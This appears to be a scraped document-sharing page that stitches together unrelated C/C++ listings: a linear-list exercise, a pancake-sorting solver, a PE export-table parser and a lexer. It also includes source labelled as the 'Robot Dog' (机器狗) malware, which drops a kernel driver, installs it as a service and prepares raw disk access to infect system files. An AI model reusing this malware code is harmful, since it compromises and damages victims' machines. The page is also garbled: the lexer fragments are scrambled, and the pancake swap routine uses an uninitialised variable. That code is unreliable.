// 定义一个线性表const int nMaxSize = 15; // 最大值int nLen = 0; // 表中元素个数int nLinearList[nMaxSize];// 定义操作void LSort();void LOut();void LInsert(int n);void LDelete(int n);void main(){// 输入数据并放入线性表中printf("Please input data\n"); // std::cout << "Please input data\n";int nIn = 0;for (int i = 0; i <= 9; i++){scanf("%d",&nIn); // std::cin >> nIn;nLinearList[i] = nIn;nLen++;}LSort(); // 排序线性表LOut(); // 输出结果printf("Please input a data to insert \n");scanf("%d",&nIn);LInsert(nIn); // 输入一个数字,并插入到线性表中LOut();printf("Please input a data to delete \n");scanf("%d",&nIn);LDelete(nIn); // 输入一个数字,并从线性表中删除LOut();char chTmp;printf("Please input a char to finish this program.");chTmp = getch();//return 0;}void LSort() // 冒泡排序,由大到小{int j,F,k,M;F=(nLen-1);while(F<16){k=F-1;F=16;for(j=0;j<=k;j++){if(nLinearList[j]<nLinearList[j+1]){M=nLinearList[j];nLinearList[j]=nLinearList[j+1];nLinearList[j+1]=M;F=j;}}}}void LOut(){printf( "\n");for (int i = 0; i < nLen; i++){printf( "%d, ", nLinearList[i] );}printf( "\n");}void LInsert(int n){int i,j;i=0;while (i<nLen){if (nLinearList[i]<=n){nLen++;for (j=nLen;j>=i;j--)nLinearList[j+1]=nLinearList[j];nLinearList[i]=n;break;}i++;}}void LDelete(int n){int i,j;for(i=0;i<nLen;i++){if(nLinearList[i]==n){for(j=i;j<(nLen-1);j++)nLinearList[j]=nLinearList[j+1];nLen--;break;}}}运行结果:实验二:键盘输入算数表达式,并放入队列当中;应用栈的概念设计表达式求值算法;输出表达式求值结果;程序清单:// Experiment2.cpp : 定义控制台应用程序的入口点。

编程之美之一摞烙饼.cpp

编程之美之一摞烙饼.cpp

// 编程之美之一摞烙饼.cpp : 定义控制台应用程序的入口点。

// 不同的程序会得到不同的结果吗?有个程序能得到不同的结果,但后来证明他的结果是错的//该算法有点在于在于找最少的交换次数,不是在于用最少的时间进行排序,此算法的排序时间不是最少的。

因为算法的查找时间太长了。

#include "stdafx.h"#include <iostream>#include <cstdlib>#include <Math.h>#include <assert.h>using namespace std;#define N 10//7class Cake{int nCakeNum;int *nCakeArr;//有用吗?int nMaxSwap;//实际进行的最大的交换次数int *nCakeResultArr;//存放在哪里进行了交换,存放的是编号int *nCakeReverseArr;//几乎所有的操作都是对它进行操作。

int *nCakeReverseResultArr;//用来记录找到的结果int nSearch;public:Cake(){nCakeNum=0;nMaxSwap=0;nCakeArr=NULL;//没用吧nCakeResultArr=NULL;nCakeReverseArr=NULL;nCakeReverseResultArr=NULL;cout<<"in construst"<<endl;}~Cake()//析构函数自动运行,自动释放对象所占用的资源,不可以再用delete语句了(与编程之美书上不同)。

{//if(nCakeArr!=NULL) delete nCakeArr;// if(nCakeResultArr!=NULL) delete nCakeResultArr;// if(nCakeReverseArr!=NULL) delete nCakeReverseArr;//if(nCakeReverseResultArr!=NULL) delete nCakeReverseResultArr;}void Run()//int *nCakeArr, int nCakeNum{//Init(nCakeArr,nCakeNum);//nSearch=0;Search(0);}void Output() const{for(int i=0;i<nMaxSwap;i++)cout<<nCakeReverseResultArr[i]<<" ";cout<<endl<<"最大的交换次数是:"<<nMaxSwap<<endl;cout<<"search times are :"<<nSearch<<endl;}void PrintArr(){for(int i=0;i<nCakeNum;i++)cout<<nCakeArr[i]<<" ";cout<<endl;}void PrintReverseArr(){for(int i=0;i<nCakeNum;i++)cout<<nCakeReverseArr[i]<<" ";cout<<endl;}void Init(int *pCakeArr, int pCakeNum){nSearch = 0;nCakeNum = pCakeNum;nCakeArr = new int[nCakeNum];assert(nCakeArr);for(int i=0;i<nCakeNum;i++)nCakeArr[i] = pCakeArr[i];//init 有用吗?nMaxSwap = UpperBound(nCakeNum);nCakeResultArr = new int[pCakeNum];assert(nCakeResultArr);nCakeReverseResultArr = new int[nMaxSwap];nCakeReverseArr = new int[nCakeNum];assert(nCakeReverseArr);for(int i=0;i<nCakeNum;i++)nCakeReverseArr[i] = pCakeArr[i];//init}private:int UpperBound(int pCakeNum){return 2*(pCakeNum-2)+1;//原来是2*(pCakeNum-1) 改完这search times 由原来的715减少到589}int LowerBound(int *pCakeArr, int pCakeNum){int num=1;//应该是1.因为当最后一个不在其有序时对应的位置时,还要多翻转一次,当这由0改成1后,search times 由原来的4081减少到715for(int i=1;i<pCakeNum;i++){if((pCakeArr[i]-pCakeArr[i-1]==1)||(pCakeArr[i]-pCakeArr[i-1]==-1));elsenum++;}return num;}bool IsSorted(int *pCakeArr, int pCakeNum){for(int i=1;i<pCakeNum;i++){if(pCakeArr[i]<pCakeArr[i-1])return 0;}return 1;}void Reverse(int *nCakeReverseArr,int begin,int end)// operate nCakeReverseArr{int temp;assert(begin<end);for(int i=begin,j=end;i<j;i++,j--){nCakeReverseArr[i]=nCakeReverseArr[j];nCakeReverseArr[j]=temp;}return;}void Search(int step){nSearch++;int estimate=LowerBound(nCakeReverseArr,nCakeNum);if(estimate+step>nMaxSwap||step>=nMaxSwap) //加后面的或语句运行次数4081,不加4129{return ;}if(IsSorted(nCakeReverseArr,nCakeNum)){if(step<nMaxSwap)//此算法找最少的翻转次数,不是最小的排序时间。

机器狗源码

机器狗源码

机器狗源码(C语言的)// Test.cpp : 定义控制台应用程序的入口点。

//#include "stdafx.h"//============================================================================== #include <pshpack1.h>typedef struct _PARTITION_ENTRY{UCHAR active; // 能否启动标志UCHAR StartHead; // 该分区起始磁头号UCHAR StartSector; // 起始柱面号高2位:6位起始扇区号UCHAR StartCylinder; // 起始柱面号低8位UCHAR PartitionType; // 分区类型UCHAR EndHead; // 该分区终止磁头号UCHAR EndSector; // 终止柱面号高2位:6位终止扇区号UCHAR EndCylinder; // 终止柱面号低8位ULONG StartLBA; // 起始扇区号ULONG TotalSector; // 分区尺寸(总扇区数)} PARTITION_ENTRY, *PPARTITION_ENTRY;//============================================================================== typedef struct _MBR_SECTOR{UCHAR BootCode[446];PARTITION_ENTRY Partition[4];USHORT Signature;} MBR_SECTOR, *PMBR_SECTOR;//============================================================================== typedef struct _BBR_SECTOR{USHORT JmpCode; // 2字节跳转指令,跳转到引导代码UCHAR NopCode; // 1字节nop指令,填充用,保证跳转指令长3个字节 UCHAR OEMName[8]; // 8字节的OEMName// 下面开始为: BPB( BIOS Parameter Block )USHORT BytesPerSector; // 每个扇区的字节数 (512 1024 2048 4096)UCHAR SectorsPerCluster; // 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小)USHORT ReservedSectors; // 从卷的第一个扇区开始的保留扇区数目,该值不能为0,对于FAT12/FAT16,该值通常为1,对于FAT32,典型值为32UCHAR NumberOfFATs; // 卷上FAT数据结构的数目,该值通常应为2,[NTFS不使用NumberOfFATs字段,必须为0]USHORT RootEntries; // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32,该值必须为0;[NTFS不使用]USHORT NumberOfSectors16; // 该卷上的扇区总数,该字段可以为0,如果该字段为0,则NumberOfSectors32不能为0;对于FAT32,该字段必须为0 [FAT32/NTFS不使用该字段]UCHAR MediaDescriptor; // 介质类型USHORT SectorsPerFAT16; // 该字段标识一个FAT结构占有的扇区数(FAT12/FAT16),对于FAT32卷,该字段必须为0;[FAT32/NTFS不使用该字段]USHORT SectorsPerTrack; // 用于INT 0x13中断的每个磁道的扇区数USHORT HeadsPerCylinder; // 用于INT 0x13中断的每个柱面的磁头数ULONG HiddenSectors; // 包含该FAT卷的分区之前的隐藏扇区数ULONG NumberOfSectors32; // 该字段包含该卷上的所有扇区数目,对于FAT32,该字段不为0;FAT12/FAT16可根据实际大小是否超过65536个扇区数决定是否采用该字段;[NTFS不使用该字段]// 下面开始为: EBPB ( Extended BIOS Parameter Block )ULONG SectorsPerFAT32; // 对于FAT32,该字段包含一个FAT的大小,而SectorsPerFAT16字段必须为0;} BBR_SECTOR, *PBBR_SECTOR;#include <poppack.h>#define PARTITION_TYPE_NTFS 0x07#define PARTITION_TYPE_FAT32 0x0B#define PARTITION_TYPE_FAT32_LBA 0x0C//==============================================================================#define STR_SYSFILE_PATH TEXT("%SystemRoot%\\system32\\drivers\\pcihdd.sys")#define STR_VIRFILE_PATH TEXT("%SystemRoot%\\System32\\Userinit.exe")#define STR_DSKDEVICE_NAME TEXT("\\\\.\\PhysicalDrive0")#define STR_HDDDEVICE_NAME TEXT("\\\\.\\PhysicalHardDisk0")//==============================================================================#define IOCTL_MYDEV_BASE 0xF000#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01,METHOD_BUFFERED, FILE_ANY_ACCESS)//==============================================================================DWORD InstallAndStartDriver(HMODULE ModuleHandle){TCHAR filePath[MAX_PATH];HANDLE fileHandle;HRSRC hSysRes;DWORD dwWritten;DWORD dwSysLen;PVOID lpSysBuf;SC_HANDLE hSCManager;SC_HANDLE hService;SERVICE_STATUS sService;DWORD errCode = ERROR_SUCCESS;if((NULL == (hSysRes = FindResource(ModuleHandle, (LPCTSTR)1001, (LPCTSTR)1001))) ||(0 == (dwSysLen = SizeofResource(ModuleHandle, hSysRes)))||(NULL == (lpSysBuf = LockResource(hSysRes)))||(0 == ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath)))||(INVALID_HANDLE_VALUE == (fileHandle = CreateFile(filePath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)))){errCode = GetLastError();goto FunExit00;}if(!WriteFile(fileHandle, lpSysBuf, dwSysLen, &dwWritten, NULL)||!SetEndOfFile(fileHandle)||!FlushFileBuffers(fileHandle)){errCode = GetLastError();}CloseHandle(fileHandle);if(ERROR_SUCCESS != errCode){goto FunExit01;}if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS))){errCode = GetLastError();goto FunExit01;}hService = CreateService(hSCManager,TEXT("PciHdd"),TEXT("PciHdd"),SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_IGNORE,filePath,NULL,NULL,NULL,NULL,NULL);if(NULL != hService){CloseServiceHandle(hService);}else{if(NULL != (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS))){ControlService(hService, SERVICE_CONTROL_STOP, &sService);DeleteService(hService);CloseServiceHandle(hService);}hService = CreateService(hSCManager,TEXT("PciHdd"),TEXT("PciHdd"),SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_IGNORE,filePath,NULL,NULL,NULL,NULL,NULL);if(NULL != hService){CloseServiceHandle(hService);}else{errCode = GetLastError();goto FunExit02;}}if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_START))) {errCode = GetLastError();goto FunExit02;}StartService(hService, 0, NULL);CloseServiceHandle(hService);FunExit02:CloseServiceHandle(hSCManager);FunExit01:DeleteFile(filePath);FunExit00:return errCode;}//============================================================================== DWORD StopAndDeleteDriver(VOID){TCHAR filePath[MAX_PATH];SC_HANDLE hSCManager;SC_HANDLE hService;SERVICE_STATUS sService;DWORD errCode = ERROR_SUCCESS;if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS))) {errCode = GetLastError();goto FunExit00;}if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS))){errCode = GetLastError();goto FunExit01;}ControlService(hService, SERVICE_CONTROL_STOP, &sService);DeleteService(hService);CloseServiceHandle(hService);FunExit01:CloseServiceHandle(hSCManager);FunExit00:ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath)); DeleteFile(filePath);return errCode;}//============================================================================== // 感染硬盘第一个分区的指定的文件//// 1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布信息//// 2)通过直接访问硬盘(\\\\.\\PhysicalHardDisk0)的的MDR和第一个分区的引导扇区得到分区参数来定位文件。

遍历导出表(上课代码)

遍历导出表(上课代码)

遍历导出表(上课代码)// 01 遍历导出表.cpp : 定义控制台应⽤程序的⼊⼝点。

//#include "stdafx.h"#include "windows.h"//************************************// Method: IsPeFile// FullName: IsPeFile// Access: public// Returns: bool 成功失败// Qualifier:// Parameter: TCHAR * szPath 路径//************************************bool IsPeFile(TCHAR* szPath){BOOL bSuccess = TRUE;//1 将PE⽂件读取到内存HANDLE hFile = CreateFile(szPath,GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);DWORD dwSize = GetFileSize(hFile, NULL);DWORD dwRubbish = 0;unsigned char * pBuf = new unsigned char[dwSize];ReadFile(hFile, pBuf, dwSize, &dwRubbish, NULL);//2 判断是否是PE⽂件PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;if (pDos->e_magic != IMAGE_DOS_SIGNATURE){bSuccess = FALSE;goto Error;}PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pBuf + pDos->e_lfanew);if (pNt->Signature != IMAGE_NT_SIGNATURE){bSuccess = FALSE;goto Error;}Error:if (pBuf != NULL){delete[]pBuf;}if (hFile != INVALID_HANDLE_VALUE){CloseHandle(hFile);}return bSuccess;}//************************************// Method: RvaToOffect// FullName: RvaToOffect// Access: public// Returns: DWORD// Qualifier: 将RVA转换为Offect// Parameter: DWORD rva 要转换的RVA// Parameter: unsigned char * pFile 存储pe⽂件内容的缓冲区//************************************DWORD RvaToOffect(DWORD rva, unsigned char* pFile){//1 找到NT头PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pFile;PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pFile + pDos->e_lfanew);//2 找到数据⽬录表PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);//3 判断要转换的位置是不是PE头部if (rva < pSection->VirtualAddress){return rva;}//4 在数据⽬录表中遍历,进⾏计算for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++){if ((rva >= pSection->VirtualAddress) &&(rva <= pSection->VirtualAddress + pSection->Misc.VirtualSize)){return rva - pSection->VirtualAddress + pSection->PointerToRawData;}pSection++;}return -1;}int _tmain(int argc, _TCHAR* argv[]){//1 将PE⽂件读取到内存HANDLE hFile = CreateFile(L"D:\\user32.dll",GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);DWORD dwSize = GetFileSize(hFile, NULL);DWORD dwRubbish = 0;unsigned char * pBuf = new unsigned char[dwSize];ReadFile(hFile, pBuf, dwSize, &dwRubbish, NULL);//2 找到dos头PIMAGE_DOS_HEADER pDos = PIMAGE_DOS_HEADER(pBuf);//3 找到nt头PIMAGE_NT_HEADERS pNt = PIMAGE_NT_HEADERS(pBuf + pDos->e_lfanew);//4 找到扩展头PIMAGE_OPTIONAL_HEADER pOption = &(pNt->OptionalHeader);//5 找到数据⽬录表PIMAGE_DATA_DIRECTORY pDataDirectory = pOption->DataDirectory;//6 找到导出表的数据⽬录PIMAGE_DATA_DIRECTORY pExportDirectory = (pDataDirectory +0);//7 解析导出表的数据⽬录//7.1 得到导出表的⽂件偏移DWORD dwExOffect = RvaToOffect(pExportDirectory->VirtualAddress, pBuf);//7.2 得到导出表结构体PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(pBuf + dwExOffect); //7.3打印dll的名字,注意:并不能直接打印,它提供的只是⼀个名字的RVA偏移char* pName = (char*)(RvaToOffect(pExport->Name, pBuf) + pBuf);printf("%s\n", pName);//8 为解析导出表做准备//8.1 函数的个数DWORD dwNumOfFun = pExport->NumberOfFunctions;//8.2 名称的个数DWORD dwNumOfName = pExport->NumberOfNames;//8.3 函数地址表的位置PDWORD pOffectOfFun = (PDWORD)(RvaToOffect(pExport->AddressOfFunctions, pBuf) + pBuf);//8.4序号表的位置PWORD pOrder = (PWORD)(RvaToOffect(pExport->AddressOfNameOrdinals, pBuf) + pBuf);//8.5 名称表的位置PDWORD pOffectOfName = (PDWORD)(RvaToOffect(pExport->AddressOfNames,pBuf) + pBuf);//8.6 序号基数WORD wBase = pExport->Base;//9 开始解析导出表for (int i = 0; i < dwNumOfFun;i++){//9.1 假如这是⼀个⽆效地址if (pOffectOfFun[i] == 0)continue;//9.2 不是⽆效地址,就去序号表中找到这个序号int j = 0;for (; j < dwNumOfName; j++){if (pOrder[j] == i){//9.2.1找到了这个序号,说明这个函数有名字,属于名称导出char* pNameOfFun = (char*)(RvaToOffect(pOffectOfName[j], pBuf) + pBuf);printf(" 函数序号为:%hx 函数地址为:%X 函数名为:%s\n",wBase+i,pOffectOfFun[i], pNameOfFun);break;}}if (j == dwNumOfName){//9.2.2假如没有找到这个序号,说明这个函数没有名字,只有序号,//属于序号导出,这个序号叫做虚序号printf(" 函数序号为:%hx 函数地址为:%X 函数名为:NULL\n", wBase+i,pOffectOfFun[i]);}}return0;}。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
bool analyse(); //分析函数
~Lexer(void);
};
int Lexer::line=1;
void Lexer::readchar(){
if(ix<program.size()){
peek=program[ix];
ix++;
case '-':
{word=Symble::sub; readchar(); return 0;}
case '*':
{word=Symble::multi; readchar(); return 0;}
case '/':
{word=Symble::div; readchar(); return 0;}
case '(':
{word=Symble::lbrk; readchar(); return 0;}
case ')':
rbrc, semi; //},;
public:
Symble(void);
~Symble(void);
};
Word Symble::and =Word("&&",Tag::AND);
Word Symble::or =Word("||",Tag::OR);
Word Symble::add=Word("+",Tag::ADD);
{
public:
int value;
public:
Num(int v):Token(Tag::NUM){value=v;};
~Num(void){};
};
class Real :
public Token
{
public:
float value;
public:
Real(float v):Token(Tag::REAL){value=v;};
Word Symble::rbrc=Word("}",Tag::RBRC);
Word Symble::semi=Word(";",Tag::SEMI);
Symble::Symble(void)
{

}
Symble::~Symble(void)
{
}
/*******************************************************************************************************/
class Lexer
{//词法分析器
public:
static int line; //记录行数
char peek; //存放每次读取的一个字符
string program; //程序
string::size_type ix; //program上的一个索引
public:
string lexeme; //存放词
int tag; //对应的类型值
public:
Word(string s,int _tag){lexeme=s;tag=_tag;};
Word(){lexeme="";tag=0;};
reserve(Word("if",Tag::IF));
reserve(Word("main",Tag::MAIN));
reserve(Word("for",Tag::FOR));
reserve(Word("while",Tag::WHILE));
reserve(Word("do",Tag::DO));
case '<':
if(readchar('=')) {word=Symble::le; return 0;}
else {word=Symble::less; return 0;}
case '+':
{word=Symble::add; readchar(); return 0;}
}
else{
peek='$';
ix=0;
}
};
bool Lexer:: readchar(char c)
{
readchar();
if(peek!=c) //所读字符与预测不同,返回false
return false;
else
return true; //否则返回true
else {word=Symble::evl; return 0;} //是'=='还是'='
case '>':
if(readchar('=')) {word=Symble::ge; return 0;}
else {word=Symble::gret; return 0;}
std::map<string,int> words; //词法分析表
public:
void reserve(Word &w){ //将词汇写到词法表中
words.insert(std::map<string,int>::value_type(w.lexeme,w.tag));
Word Symble::gret=Word(">",Tag::GRET);
Word Symble::less=Word("<",Tag::LESS);
Word Symble::ge=Word(">=",Tag::GORE);
Word Symble::le=Word("<=",Tag::LORE);
{//Symble类定义了能识别的符号,它是Word的子类
public:
static Word
and, or , add, sub, multi, // &&,||,+,-.*
div, eq, gret, less, ge, // /,==,>,<,>=
le, evl, lbrk, rbrk, lbrc, // <=,=,(,),{
else break;
}
//判断是否为运算符或其它合法符号
switch(peek){
case '&':
if(readchar('&')) {word=Symble::and; return 0;}
else {word.lexeme="&";word.tag=Tag::BRS; return -1;}//是否是&&
Word Symble::sub=Word("-",Tag::SUB);
Word Symble::multi=Word("*",Tag::MULTI);
Word Symble::div=Word("/",Tag::DIV);
Word Symble::eq=Word("==",Tag::EQ);
NUM=121, REAL=122, LBRK=123, RBRK=124, //整数,浮点数,左括号,右括号
LBRC=125, RBRC=126, END=127, SEMI=128, //左花括号,右花括号,终结符,分号
BRS=0001, ERID=0002, ERR=0003; //不完整的符号,错误的标识符,其他错误
class Tag
{//Tag类定义各个此法单元对应的常量
public :
const static int
MAIN=101, WHILE=102, DO=103, IF=104, //关键字
ELSE=105, FOR=106, AND=107, OR=108, //关键字
}
int Lexer::scan(Word & word){
//词汇读取函数,文件结束返回1,错误返回-1,正确返回0
for(;;readchar()){ //过滤空格符,制表符,换行符
if(peek==' '||peek=='\t') continue;
else if(peek=='\n') line=line+1;
reserve(Word("else",Tag::ELSE));
};
void readchar(); //读一个字符
bool readchar(char c); //读一个字符并与给定字符比较
int scan(Word & word);
Word scan(); //读一个单词
ADD=109, SUB=110, MULTI=111, DIV=112, //运算符+|-|*|/
EQ=113, GRET=114, LESS=115, GORE=116, //运算符||= =|>|<|>=
LORE=117, NEQ=118, EVL=119, ID=120, //运算符<=|<>,赋值,标识符
~Real(void){};
相关文档
最新文档